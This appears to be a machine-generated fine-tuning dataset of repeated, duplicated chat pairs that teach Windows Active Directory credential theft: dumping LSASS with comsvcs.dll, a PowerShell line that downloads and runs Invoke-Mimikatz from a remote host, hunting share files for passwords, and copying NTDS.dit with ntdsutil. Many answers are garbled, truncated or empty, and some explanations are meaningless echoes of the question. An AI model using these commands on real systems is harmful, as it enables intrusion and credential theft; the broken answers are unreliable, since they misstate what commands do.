Response:
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsass_pid C:\temp\lsass.dmp full
``

=== PowerSploit

PowerSploit's exfiltration script Invoke-Mimikatz (PowerShell) can be used to extract credential material from LSASS's process memory.

`bash
powershell IEX (New-Object System.Net.Webclient).DownloadString('http://10.0.0.5/Invoke-Mimikatz.ps1') ; Invoke-Mimikatz -DumpCreds
``

:::

Recovered credential material could be either plaintext passwords or NT hash that can be used with pass the hash (depending on the context).


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do Dump lsass's process memory

[Assistant]
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsass_pid C:\temp\lsass.dmp full
``

=== PowerSploit

PowerSploit's exfiltration script Invoke-Mimikatz (PowerShell) can be used to extract credential material from LSASS's process memory.

`bash
powershell IEX (New-Object System.Net.Webclient).DownloadString('http://10.0.0.5/Invoke-Mimikatz.ps1') ; Invoke-Mimikatz -DumpCreds
``

:::

Recovered credential material could be either plaintext passwords or NT hash that can be used with pass the hash (depending on the context).

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do Dump lsass's process memory

Response:
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsass_pid C:\temp\lsass.dmp full
``

=== PowerSploit

PowerSploit's exfiltration script Invoke-Mimikatz (PowerShell) can be used to extract credential material from LSASS's process memory.

`bash
powershell IEX (New-Object System.Net.Webclient).DownloadString('http://10.0.0.5/Invoke-Mimikatz.ps1') ; Invoke-Mimikatz -DumpCreds
``

:::

Recovered credential material could be either plaintext passwords or NT hash that can be used with pass the hash (depending on the context).


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for Dump lsass's process memory

[Assistant]
=== PowerSploit

[PowerSploit](https://github.com/PowerShellMafia/PowerSploit)'s exfiltration script [Invoke-Mimikatz](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-Mimikatz.ps1) (PowerShell) can be used to extract credential material from LSASS's process memory.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for Dump lsass's process memory

Response:
=== PowerSploit

[PowerSploit](https://github.com/PowerShellMafia/PowerSploit)'s exfiltration script [Invoke-Mimikatz](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-Mimikatz.ps1) (PowerShell) can be used to extract credential material from LSASS's process memory.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `=== PowerSploit`?

[Assistant] This command is used for dump lsass's process memory. Dump lsass's process memory

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `=== PowerSploit`?

Response: This command is used for dump lsass's process memory. Dump lsass's process memory


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain Network protocols - Theory

[Assistant] Plaintext protocols (like HTTP, FTP, SNMP, SMTP) are widely used within organizations. Being able to capture and parse that traffic could offer attackers valuable information like sensitive files, passwords or hashes. There are many ways an attacker can obtain a man-in-the-middle position, ARP poisoning being the most common and effective one.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: Plaintext protocols (like HTTP, FTP, SNMP, SMTP) are widely used within organizations. Being able to capture and parse that traffic could offer attackers valuable information like sensitive files, passwords or hashes. There are many ways an attacker can obtain a man-in-the-middle position, ARP poisoning being the most common and effective one.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through Network protocols - Theory

[Assistant] Plaintext protocols (like HTTP, FTP, SNMP, SMTP) are widely used within organizations. Being able to capture and parse that traffic could offer attackers valuable information like sensitive files, passwords or hashes. There are many ways an attacker can obtain a man-in-the-middle position, ARP poisoning being the most common and effective one.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through Network protocols - Theory

Response: Plaintext protocols (like HTTP, FTP, SNMP, SMTP) are widely used within organizations. Being able to capture and parse that traffic could offer attackers valuable information like sensitive files, passwords or hashes. There are many ways an attacker can obtain a man-in-the-middle position, ARP poisoning being the most common and effective one.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of Network protocols - Practice

[Assistant]
Once network traffic is hijacked and goes through an attacker-controlled equipement, valuable information can be searched through captured (with tcpdump, tshark or wireshark) or through live traffic.

PCredz (Python) is a good example and allows extraction of credit card numbers, NTLM (DCE-RPC, HTTP, SQL, LDAP, etc), Kerberos (AS-REQ Pre-Auth etype 23, i.e. ASREQroast), HTTP Basic, SNMP, POP, SMTP, FTP, IMAP, etc from a pcap file or from a live interface.

```bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of Network protocols - Practice

Response:
Once network traffic is hijacked and goes through an attacker-controlled equipement, valuable information can be searched through captured (with tcpdump, tshark or wireshark) or through live traffic.

PCredz (Python) is a good example and allows extraction of credit card numbers, NTLM (DCE-RPC, HTTP, SQL, LDAP, etc), Kerberos (AS-REQ Pre-Auth etype 23, i.e. ASREQroast), HTTP Basic, SNMP, POP, SMTP, FTP, IMAP, etc from a pcap file or from a live interface.

```bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for Network protocols - Practice?

[Assistant]
Once network traffic is hijacked and goes through an attacker-controlled equipement, valuable information can be searched through captured (with tcpdump, tshark or wireshark) or through live traffic.

PCredz (Python) is a good example and allows extraction of credit card numbers, NTLM (DCE-RPC, HTTP, SQL, LDAP, etc), Kerberos (AS-REQ Pre-Auth etype 23, i.e. ASREQroast), HTTP Basic, SNMP, POP, SMTP, FTP, IMAP, etc from a pcap file or from a live interface.

```bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for Network protocols - Practice?

Response:
Once network traffic is hijacked and goes through an attacker-controlled equipement, valuable information can be searched through captured (with tcpdump, tshark or wireshark) or through live traffic.

PCredz (Python) is a good example and allows extraction of credit card numbers, NTLM (DCE-RPC, HTTP, SQL, LDAP, etc), Kerberos (AS-REQ Pre-Auth etype 23, i.e. ASREQroast), HTTP Basic, SNMP, POP, SMTP, FTP, IMAP, etc from a pcap file or from a live interface.

```bash


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does Network shares - Theory work?

[Assistant] In organization networks, it is common to find passwords in random files (logs, config files, personal documents, Office documents, ...). Other credential dumping techniques (SAM & LSA, NTDS.dit, some web browsers, ...) could be considered as sub-techniques of credential dumping from files. This recipe focuses on the techniques that allow to gather password and sensitive information from generic and random files other than the ones involved in the sub-techniques mentioned before.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: In organization networks, it is common to find passwords in random files (logs, config files, personal documents, Office documents, ...). Other credential dumping techniques (SAM & LSA, NTDS.dit, some web browsers, ...) could be considered as sub-techniques of credential dumping from files. This recipe focuses on the techniques that allow to gather password and sensitive information from generic and random files other than the ones involved in the sub-techniques mentioned before.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through Network shares - Theory

[Assistant] In organization networks, it is common to find passwords in random files (logs, config files, personal documents, Office documents, ...). Other credential dumping techniques (SAM & LSA, NTDS.dit, some web browsers, ...) could be considered as sub-techniques of credential dumping from files. This recipe focuses on the techniques that allow to gather password and sensitive information from generic and random files other than the ones involved in the sub-techniques mentioned before.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: In organization networks, it is common to find passwords in random files (logs, config files, personal documents, Office documents, ...). Other credential dumping techniques (SAM & LSA, NTDS.dit, some web browsers, ...) could be considered as sub-techniques of credential dumping from files. This recipe focuses on the techniques that allow to gather password and sensitive information from generic and random files other than the ones involved in the sub-techniques mentioned before.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about Network shares - Practice?

[Assistant]
::: tabs

=== UNIX-like

From UNIX-like systems, the manspider (Python) tool can be used to find sensitive information across a number of shares.

``bash
manspider.py --threads 50 $IP_RANGE/$MASK -d $DOMAIN -u $USER -p $PASSWORD --content "set sqlplus" "password ="
`

Manually, shares can be mounted and grepped for interesting information.

=== Windows

From Windows systems, the following commands should help find interesting information across local files and network shares.

`bash
findstr /snip password .xml .ini *.txt
findstr /snip password *
`

PowerSploit's PowerView (Powershell) module can be used to find interesting files as well.

`bash
Find-InterestingFile -LastAccessTime (Get-Date).AddDays(-7)
Find-InterestingFile -Include "private,confidential"
Find-InterestingFile -Path "\\$SERVER\$Share" -OfficeDocs
`

Last but not least, one of the best tools to find sensitive information across a number of shares and local files is Snaffler (C#).

``bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about Network shares - Practice?

Response:
::: tabs

=== UNIX-like

From UNIX-like systems, the manspider (Python) tool can be used to find sensitive information across a number of shares.

``bash
manspider.py --threads 50 $IP_RANGE/$MASK -d $DOMAIN -u $USER -p $PASSWORD --content "set sqlplus" "password ="
`

Manually, shares can be mounted and grepped for interesting information.

=== Windows

From Windows systems, the following commands should help find interesting information across local files and network shares.

`bash
findstr /snip password .xml .ini *.txt
findstr /snip password *
`

PowerSploit's PowerView (Powershell) module can be used to find interesting files as well.

`bash
Find-InterestingFile -LastAccessTime (Get-Date).AddDays(-7)
Find-InterestingFile -Include "private,confidential"
Find-InterestingFile -Path "\\$SERVER\$Share" -OfficeDocs
`

Last but not least, one of the best tools to find sensitive information across a number of shares and local files is Snaffler (C#).

``bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform Network shares - Practice?

[Assistant]
::: tabs

=== UNIX-like

From UNIX-like systems, the manspider (Python) tool can be used to find sensitive information across a number of shares.

``bash
manspider.py --threads 50 $IP_RANGE/$MASK -d $DOMAIN -u $USER -p $PASSWORD --content "set sqlplus" "password ="
`

Manually, shares can be mounted and grepped for interesting information.

=== Windows

From Windows systems, the following commands should help find interesting information across local files and network shares.

`bash
findstr /snip password .xml .ini *.txt
findstr /snip password *
`

PowerSploit's PowerView (Powershell) module can be used to find interesting files as well.

`bash
Find-InterestingFile -LastAccessTime (Get-Date).AddDays(-7)
Find-InterestingFile -Include "private,confidential"
Find-InterestingFile -Path "\\$SERVER\$Share" -OfficeDocs
`

Last but not least, one of the best tools to find sensitive information across a number of shares and local files is Snaffler (C#).

``bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform Network shares - Practice?

Response:
::: tabs

=== UNIX-like

From UNIX-like systems, the manspider (Python) tool can be used to find sensitive information across a number of shares.

``bash
manspider.py --threads 50 $IP_RANGE/$MASK -d $DOMAIN -u $USER -p $PASSWORD --content "set sqlplus" "password ="
`

Manually, shares can be mounted and grepped for interesting information.

=== Windows

From Windows systems, the following commands should help find interesting information across local files and network shares.

`bash
findstr /snip password .xml .ini *.txt
findstr /snip password *
`

PowerSploit's PowerView (Powershell) module can be used to find interesting files as well.

`bash
Find-InterestingFile -LastAccessTime (Get-Date).AddDays(-7)
Find-InterestingFile -Include "private,confidential"
Find-InterestingFile -Path "\\$SERVER\$Share" -OfficeDocs
`

Last but not least, one of the best tools to find sensitive information across a number of shares and local files is Snaffler (C#).

``bash


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the manspider.py syntax for network shares - practice?

[Assistant] manspider.py --threads 50 $IP_RANGE/$MASK -d $DOMAIN -u $USER -p $PASSWORD --content "set sqlplus" "password ="

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

What is the manspider.py syntax for network shares - practice?

Response: manspider.py --threads 50 $IP_RANGE/$MASK -d $DOMAIN -u $USER -p $PASSWORD --content "set sqlplus" "password ="


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on Network shares - Practice

[Assistant] manspider.py --threads 50 $IP_RANGE/$MASK -d $DOMAIN -u $USER -p $PASSWORD --content "set sqlplus" "password ="

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on Network shares - Practice

Response: manspider.py --threads 50 $IP_RANGE/$MASK -d $DOMAIN -u $USER -p $PASSWORD --content "set sqlplus" "password ="


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `manspider.py --threads 50 $IP_RANGE/$MASK -d $DOMAIN -u $USER -p $PASSWORD --content "set sqlplus" "password ="`?

[Assistant] This command is used for network shares - practice. Practice

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `manspider.py --threads 50 $IP_RANGE/$MASK -d $DOMAIN -u $USER -p $PASSWORD --content "set sqlplus" "password ="`?

Response: This command is used for network shares - practice. Practice


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Give me the findstr command to network shares - practice

[Assistant]
findstr /snip password *.xml *.ini *.txt
findstr /snip password *

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Give me the findstr command to network shares - practice

Response:
findstr /snip password *.xml *.ini *.txt
findstr /snip password *


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute Network shares - Practice?

[Assistant]
findstr /snip password *.xml *.ini *.txt
findstr /snip password *

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute Network shares - Practice?

Response:
findstr /snip password *.xml *.ini *.txt
findstr /snip password *


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `findstr /snip password *.xml *.ini *.txt`?

[Assistant] This command is used for network shares - practice. Practice

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `findstr /snip password *.xml *.ini *.txt`?

Response: This command is used for network shares - practice. Practice


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] How do I use Find-InterestingFile for network shares - practice?

[Assistant]
Find-InterestingFile -LastAccessTime (Get-Date).AddDays(-7)
Find-InterestingFile -Include "private,confidential"
Find-InterestingFile -Path "\\$SERVER\$Share" -OfficeDocs

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

How do I use Find-InterestingFile for network shares - practice?

Response:
Find-InterestingFile -LastAccessTime (Get-Date).AddDays(-7)
Find-InterestingFile -Include "private,confidential"
Find-InterestingFile -Path "\\$SERVER\$Share" -OfficeDocs


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute Network shares - Practice?

[Assistant]
Find-InterestingFile -LastAccessTime (Get-Date).AddDays(-7)
Find-InterestingFile -Include "private,confidential"
Find-InterestingFile -Path "\\$SERVER\$Share" -OfficeDocs

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
Find-InterestingFile -LastAccessTime (Get-Date).AddDays(-7)
Find-InterestingFile -Include "private,confidential"
Find-InterestingFile -Path "\\$SERVER\$Share" -OfficeDocs


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `Find-InterestingFile -LastAccessTime (Get-Date).AddDays(-7)`?

[Assistant] This command is used for network shares - practice. Practice

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `Find-InterestingFile -LastAccessTime (Get-Date).AddDays(-7)`?

Response: This command is used for network shares - practice. Practice


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is Network shares - Resource?

[Assistant]
https://github.com/SnaffCon/Snaffler

https://github.com/blacklanternsecurity/MANSPIDER

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
https://github.com/SnaffCon/Snaffler

https://github.com/blacklanternsecurity/MANSPIDER


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do Network shares - Resource

[Assistant]
https://github.com/SnaffCon/Snaffler

https://github.com/blacklanternsecurity/MANSPIDER

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do Network shares - Resource

Response:
https://github.com/SnaffCon/Snaffler

https://github.com/blacklanternsecurity/MANSPIDER


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of NTDS secrets

[Assistant]
NTDS (Windows NT Directory Services) is the directory services used by Microsoft Windows NT to locate, manage, and organize network resources. The NTDS.dit file is a database that stores the Active Directory data (including users, groups, security descriptors and password hashes). This file is stored on the domain controllers.

Once the secrets are extracted, they can be used for various attacks: credential spraying, stuffing, shuffling, cracking, pass-the-hash, overpass-the-hash or silver or golden tickets.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
NTDS (Windows NT Directory Services) is the directory services used by Microsoft Windows NT to locate, manage, and organize network resources. The NTDS.dit file is a database that stores the Active Directory data (including users, groups, security descriptors and password hashes). This file is stored on the domain controllers.

Once the secrets are extracted, they can be used for various attacks: credential spraying, stuffing, shuffling, cracking, pass-the-hash, overpass-the-hash or silver or golden tickets.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through NTDS secrets

[Assistant]
NTDS (Windows NT Directory Services) is the directory services used by Microsoft Windows NT to locate, manage, and organize network resources. The NTDS.dit file is a database that stores the Active Directory data (including users, groups, security descriptors and password hashes). This file is stored on the domain controllers.

Once the secrets are extracted, they can be used for various attacks: credential spraying, stuffing, shuffling, cracking, pass-the-hash, overpass-the-hash or silver or golden tickets.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
NTDS (Windows NT Directory Services) is the directory services used by Microsoft Windows NT to locate, manage, and organize network resources. The NTDS.dit file is a database that stores the Active Directory data (including users, groups, security descriptors and password hashes). This file is stored on the domain controllers.

Once the secrets are extracted, they can be used for various attacks: credential spraying, stuffing, shuffling, cracking, pass-the-hash, overpass-the-hash or silver or golden tickets.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of NTDS secrets - 1. Exfiltration

[Assistant]
Since the NTDS.dit is constantly used by AD processes such as the Kerberos KDC, it can't be copied like any other file. In order to exfiltrate it from a live domain controller and extract password hashes from it, many techniques can be used.

Just like with SAM & LSA secrets, the SYSTEM registry hive contains enough info to decrypt the NTDS.dit data. The hive file (\system32\config\system) can either be exfiltrated the same way the NTDS.dit file is, or it can be exported with reg save HKLM\SYSTEM 'C:\Windows\Temp\system.save'.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of NTDS secrets - 1. Exfiltration

Response:
Since the NTDS.dit is constantly used by AD processes such as the Kerberos KDC, it can't be copied like any other file. In order to exfiltrate it from a live domain controller and extract password hashes from it, many techniques can be used.

Just like with SAM & LSA secrets, the SYSTEM registry hive contains enough info to decrypt the NTDS.dit data. The hive file (\system32\config\system) can either be exfiltrated the same way the NTDS.dit file is, or it can be exported with reg save HKLM\SYSTEM 'C:\Windows\Temp\system.save'.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform NTDS secrets - 1. Exfiltration?

[Assistant]
Since the NTDS.dit is constantly used by AD processes such as the Kerberos KDC, it can't be copied like any other file. In order to exfiltrate it from a live domain controller and extract password hashes from it, many techniques can be used.

Just like with SAM & LSA secrets, the SYSTEM registry hive contains enough info to decrypt the NTDS.dit data. The hive file (\system32\config\system) can either be exfiltrated the same way the NTDS.dit file is, or it can be exported with reg save HKLM\SYSTEM 'C:\Windows\Temp\system.save'.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform NTDS secrets - 1. Exfiltration?

Response:
Since the NTDS.dit is constantly used by AD processes such as the Kerberos KDC, it can't be copied like any other file. In order to exfiltrate it from a live domain controller and extract password hashes from it, many techniques can be used.

Just like with SAM & LSA secrets, the SYSTEM registry hive contains enough info to decrypt the NTDS.dit data. The hive file (\system32\config\system) can either be exfiltrated the same way the NTDS.dit file is, or it can be exported with reg save HKLM\SYSTEM 'C:\Windows\Temp\system.save'.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does NTDS secrets - AD maintenance (NTDSUtil) work?

[Assistant]
NTDSUtil.exe is a diagnostic tool available as part of Active Directory. It has the ability to save a snapshot of the Active Directory data. Running the following command will copy the NTDS.dit database and the SYSTEM and SECURITY hives to C:\Windows\Temp.

``bash
ntdsutil "activate instance ntds" "ifm" "create full C:\Windows\Temp\NTDS" quit quit
`

The following files can then be exported

* C:\Windows\Temp\NTDS\Active Directory\ntds.dit
* C:\Windows\Temp\NTDS\registry\SYSTEM`

> [!WARNING]
> If the NTDS database is very large (several gigabytes), the generation of a defragmented backup with ntdsutil consumes a lot of CPU and disk resources on the server, which can cause slowdowns and other undesirable effects on the domain controller.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does NTDS secrets - AD maintenance (NTDSUtil) work?

Response:
NTDSUtil.exe is a diagnostic tool available as part of Active Directory. It has the ability to save a snapshot of the Active Directory data. Running the following command will copy the NTDS.dit database and the SYSTEM and SECURITY hives to C:\Windows\Temp.

``bash
ntdsutil "activate instance ntds" "ifm" "create full C:\Windows\Temp\NTDS" quit quit
`

The following files can then be exported

* C:\Windows\Temp\NTDS\Active Directory\ntds.dit
* C:\Windows\Temp\NTDS\registry\SYSTEM`

> [!WARNING]
> If the NTDS database is very large (several gigabytes), the generation of a defragmented backup with ntdsutil consumes a lot of CPU and disk resources on the server, which can cause slowdowns and other undesirable effects on the domain controller.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on NTDS secrets - AD maintenance (NTDSUtil)

[Assistant]
NTDSUtil.exe is a diagnostic tool available as part of Active Directory. It has the ability to save a snapshot of the Active Directory data. Running the following command will copy the NTDS.dit database and the SYSTEM and SECURITY hives to C:\Windows\Temp.

``bash
ntdsutil "activate instance ntds" "ifm" "create full C:\Windows\Temp\NTDS" quit quit
`

The following files can then be exported

* C:\Windows\Temp\NTDS\Active Directory\ntds.dit
* C:\Windows\Temp\NTDS\registry\SYSTEM`

> [!WARNING]
> If the NTDS database is very large (several gigabytes), the generation of a defragmented backup with ntdsutil consumes a lot of CPU and disk resources on the server, which can cause slowdowns and other undesirable effects on the domain controller.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on NTDS secrets - AD maintenance (NTDSUtil)

Response:
NTDSUtil.exe is a diagnostic tool available as part of Active Directory. It has the ability to save a snapshot of the Active Directory data. Running the following command will copy the NTDS.dit database and the SYSTEM and SECURITY hives to C:\Windows\Temp.

``bash
ntdsutil "activate instance ntds" "ifm" "create full C:\Windows\Temp\NTDS" quit quit
`

The following files can then be exported

* C:\Windows\Temp\NTDS\Active Directory\ntds.dit
* C:\Windows\Temp\NTDS\registry\SYSTEM`

> [!WARNING]
> If the NTDS database is very large (several gigabytes), the generation of a defragmented backup with ntdsutil consumes a lot of CPU and disk resources on the server, which can cause slowdowns and other undesirable effects on the domain controller.


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the ntdsutil syntax for ntds secrets - ad maintenance (ntdsutil)?

[Assistant] ntdsutil "activate instance ntds" "ifm" "create full C:\Windows\Temp\NTDS" quit quit

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

What is the ntdsutil syntax for ntds secrets - ad maintenance (ntdsutil)?

Response: ntdsutil "activate instance ntds" "ifm" "create full C:\Windows\Temp\NTDS" quit quit


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through NTDS secrets - AD maintenance (NTDSUtil)

[Assistant] ntdsutil "activate instance ntds" "ifm" "create full C:\Windows\Temp\NTDS" quit quit

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through NTDS secrets - AD maintenance (NTDSUtil)

Response: ntdsutil "activate instance ntds" "ifm" "create full C:\Windows\Temp\NTDS" quit quit


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `ntdsutil "activate instance ntds" "ifm" "create full C:\Windows\Temp\NTDS" quit quit`?

[Assistant] This command is used for ntds secrets - ad maintenance (ntdsutil). AD maintenance (NTDSUtil)

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `ntdsutil "activate instance ntds" "ifm" "create full C:\Windows\Temp\NTDS" quit quit`?

Response: This command is used for ntds secrets - ad maintenance (ntdsutil). AD maintenance (NTDSUtil)


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about NTDS secrets - Volume Shadow Copy (VSSAdmin)?

[Assistant]
